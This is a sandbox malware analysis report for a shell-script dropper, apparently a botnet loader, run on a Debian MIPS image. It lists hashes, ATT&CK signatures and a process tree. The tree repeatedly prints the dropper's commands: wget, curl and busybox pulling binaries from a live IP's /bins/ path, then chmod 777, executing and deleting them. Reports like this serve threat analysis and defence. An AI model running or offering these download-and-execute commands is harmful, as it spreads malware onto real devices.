919d85e5228142cc75633478b968bc17c7afda6b069bc92fbb55916ac1d39f50

Analysis

max time kernel
79s
max time network
80s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
22/10/2024, 01:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
919d85e5228142cc75633478b968bc17c7afda6b069bc92fbb55916ac1d39f50.sh
Size 10KB
Sample241022-b3vmcszala
SHA256 919d85e5228142cc75633478b968bc17c7afda6b069bc92fbb55916ac1d39f50
MD5 773f960bdaaeb4b31d1d3cc025011ddd
SHA1 3ff6b2c737b7ddd65193c2da20432094f24e3cc0
SHA512 20674cc203f48bebc1c611fd97c23cf110e4e07397707901e1d8d59080eb149bae6c964158b753392b9de7dd08028d99c6dbd03d154ee2870216777b0a49dcc3
SSDEEP 192:SPjbJ1m+aB2WpONx9kgTPjb4+aB2WRx9Hx:u1m+aB2WpOSV+aB2W/
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
933	chmod
999	chmod
1005	chmod
1011	chmod
866	chmod
993	chmod
969	chmod
909	chmod
945	chmod
951	chmod
957	chmod
789	chmod
927	chmod
939	chmod
987	chmod
777	chmod
921	chmod
963	chmod
981	chmod
840	chmod
975	chmod
891	chmod
903	chmod
770	chmod
817	chmod
846	chmod
897	chmod
915	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5	curl
File opened for modification	/tmp/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj	curl
File opened for modification	/tmp/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l	curl
File opened for modification	/tmp/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj	curl
File opened for modification	/tmp/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL	curl
File opened for modification	/tmp/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ	curl
File opened for modification	/tmp/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl	curl
File opened for modification	/tmp/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5	curl
File opened for modification	/tmp/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l	curl
File opened for modification	/tmp/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ	curl
File opened for modification	/tmp/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC	curl
File opened for modification	/tmp/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5	curl
File opened for modification	/tmp/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt	curl
File opened for modification	/tmp/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz	curl
File opened for modification	/tmp/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN	curl
File opened for modification	/tmp/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz	curl
File opened for modification	/tmp/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa	curl
File opened for modification	/tmp/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL	curl
File opened for modification	/tmp/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN	curl
File opened for modification	/tmp/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt	curl
File opened for modification	/tmp/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V	curl
File opened for modification	/tmp/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5	curl
File opened for modification	/tmp/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl	curl
File opened for modification	/tmp/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V	curl
File opened for modification	/tmp/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC	curl
File opened for modification	/tmp/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa	curl
File opened for modification	/tmp/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh	curl
File opened for modification	/tmp/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh	curl

/tmp/919d85e5228142cc75633478b968bc17c7afda6b069bc92fbb55916ac1d39f50.sh
/tmp/919d85e5228142cc75633478b968bc17c7afda6b069bc92fbb55916ac1d39f50.sh
1⤵
PID:741
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:745
- /usr/bin/wget
  wget http://87.120.84.230/bins/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:762
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  PID:768
- /bin/chmod
  chmod 777 2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  ./2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  - Executes dropped EXE
  PID:771
- /bin/rm
  rm 2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  PID:773
- /usr/bin/wget
  wget http://87.120.84.230/bins/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  PID:774
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:775
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  PID:776
- /bin/chmod
  chmod 777 UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  ./UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  - Executes dropped EXE
  PID:778
- /bin/rm
  rm UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  PID:779
- /usr/bin/wget
  wget http://87.120.84.230/bins/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  PID:780
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:781
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  PID:784
- /bin/chmod
  chmod 777 5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  ./5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  - Executes dropped EXE
  PID:790
- /bin/rm
  rm 5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  PID:793
- /usr/bin/wget
  wget http://87.120.84.230/bins/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  PID:795
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:803
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  PID:812
- /bin/chmod
  chmod 777 uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  ./uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  PID:823
- /usr/bin/wget
  wget http://87.120.84.230/bins/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  PID:839
- /bin/chmod
  chmod 777 8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  ./8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  - Executes dropped EXE
  PID:841
- /bin/rm
  rm 8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  PID:842
- /usr/bin/wget
  wget http://87.120.84.230/bins/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  PID:843
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:844
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  PID:845
- /bin/chmod
  chmod 777 wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  ./wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  - Executes dropped EXE
  PID:847
- /bin/rm
  rm wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  PID:848
- /usr/bin/wget
  wget http://87.120.84.230/bins/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  PID:849
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:850
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  PID:860
- /bin/chmod
  chmod 777 3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  ./3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm 3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  PID:870
- /usr/bin/wget
  wget http://87.120.84.230/bins/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  PID:871
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:878
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  PID:890
- /bin/chmod
  chmod 777 aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  ./aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  PID:893
- /usr/bin/wget
  wget http://87.120.84.230/bins/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  PID:894
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  PID:896
- /bin/chmod
  chmod 777 EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  ./EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  PID:899
- /usr/bin/wget
  wget http://87.120.84.230/bins/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  PID:900
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:901
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  PID:902
- /bin/chmod
  chmod 777 VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  ./VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  PID:905
- /usr/bin/wget
  wget http://87.120.84.230/bins/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  PID:906
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  PID:908
- /bin/chmod
  chmod 777 Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  ./Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  PID:911
- /usr/bin/wget
  wget http://87.120.84.230/bins/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  PID:912
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  PID:914
- /bin/chmod
  chmod 777 YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  ./YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  - Executes dropped EXE
  PID:916
- /bin/rm
  rm YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  PID:917
- /usr/bin/wget
  wget http://87.120.84.230/bins/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  PID:918
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:919
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  PID:920
- /bin/chmod
  chmod 777 hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  ./hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  PID:923
- /usr/bin/wget
  wget http://87.120.84.230/bins/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  PID:924
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  PID:926
- /bin/chmod
  chmod 777 8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  ./8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  - Executes dropped EXE
  PID:928
- /bin/rm
  rm 8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  PID:929
- /usr/bin/wget
  wget http://87.120.84.230/bins/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  PID:930
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:931
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  PID:932
- /bin/chmod
  chmod 777 8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  - File and Directory Permissions Modification
  PID:933
- /tmp/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  ./8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  - Executes dropped EXE
  PID:934
- /bin/rm
  rm 8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  PID:935
- /usr/bin/wget
  wget http://87.120.84.230/bins/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  PID:936
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:937
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  PID:938
- /bin/chmod
  chmod 777 wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  ./wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  - Executes dropped EXE
  PID:940
- /bin/rm
  rm wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  PID:941
- /usr/bin/wget
  wget http://87.120.84.230/bins/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  PID:942
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:943
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  PID:944
- /bin/chmod
  chmod 777 UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  - File and Directory Permissions Modification
  PID:945
- /tmp/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  ./UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  - Executes dropped EXE
  PID:946
- /bin/rm
  rm UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  PID:947
- /usr/bin/wget
  wget http://87.120.84.230/bins/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  PID:948
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:949
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  PID:950
- /bin/chmod
  chmod 777 5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  - File and Directory Permissions Modification
  PID:951
- /tmp/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  ./5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  - Executes dropped EXE
  PID:952
- /bin/rm
  rm 5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  PID:953
- /usr/bin/wget
  wget http://87.120.84.230/bins/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  PID:954
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:955
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  PID:956
- /bin/chmod
  chmod 777 uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  - File and Directory Permissions Modification
  PID:957
- /tmp/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  ./uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  - Executes dropped EXE
  PID:958
- /bin/rm
  rm uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  PID:959
- /usr/bin/wget
  wget http://87.120.84.230/bins/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  PID:960
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:961
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  PID:962
- /bin/chmod
  chmod 777 3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  ./3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  - Executes dropped EXE
  PID:964
- /bin/rm
  rm 3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  PID:965
- /usr/bin/wget
  wget http://87.120.84.230/bins/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  PID:966
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:967
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  PID:968
- /bin/chmod
  chmod 777 aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  - File and Directory Permissions Modification
  PID:969
- /tmp/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  ./aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  - Executes dropped EXE
  PID:970
- /bin/rm
  rm aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  PID:971
- /usr/bin/wget
  wget http://87.120.84.230/bins/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  PID:972
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:973
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  PID:974
- /bin/chmod
  chmod 777 YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  - File and Directory Permissions Modification
  PID:975
- /tmp/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  ./YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  - Executes dropped EXE
  PID:976
- /bin/rm
  rm YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  PID:977
- /usr/bin/wget
  wget http://87.120.84.230/bins/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  PID:978
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:979
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  PID:980
- /bin/chmod
  chmod 777 hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  - File and Directory Permissions Modification
  PID:981
- /tmp/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  ./hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  - Executes dropped EXE
  PID:982
- /bin/rm
  rm hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  PID:983
- /usr/bin/wget
  wget http://87.120.84.230/bins/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  PID:984
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:985
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  PID:986
- /bin/chmod
  chmod 777 8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  - File and Directory Permissions Modification
  PID:987
- /tmp/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  ./8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  - Executes dropped EXE
  PID:988
- /bin/rm
  rm 8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
  2⤵
  PID:989
- /usr/bin/wget
  wget http://87.120.84.230/bins/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  PID:990
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:991
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  PID:992
- /bin/chmod
  chmod 777 EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  - File and Directory Permissions Modification
  PID:993
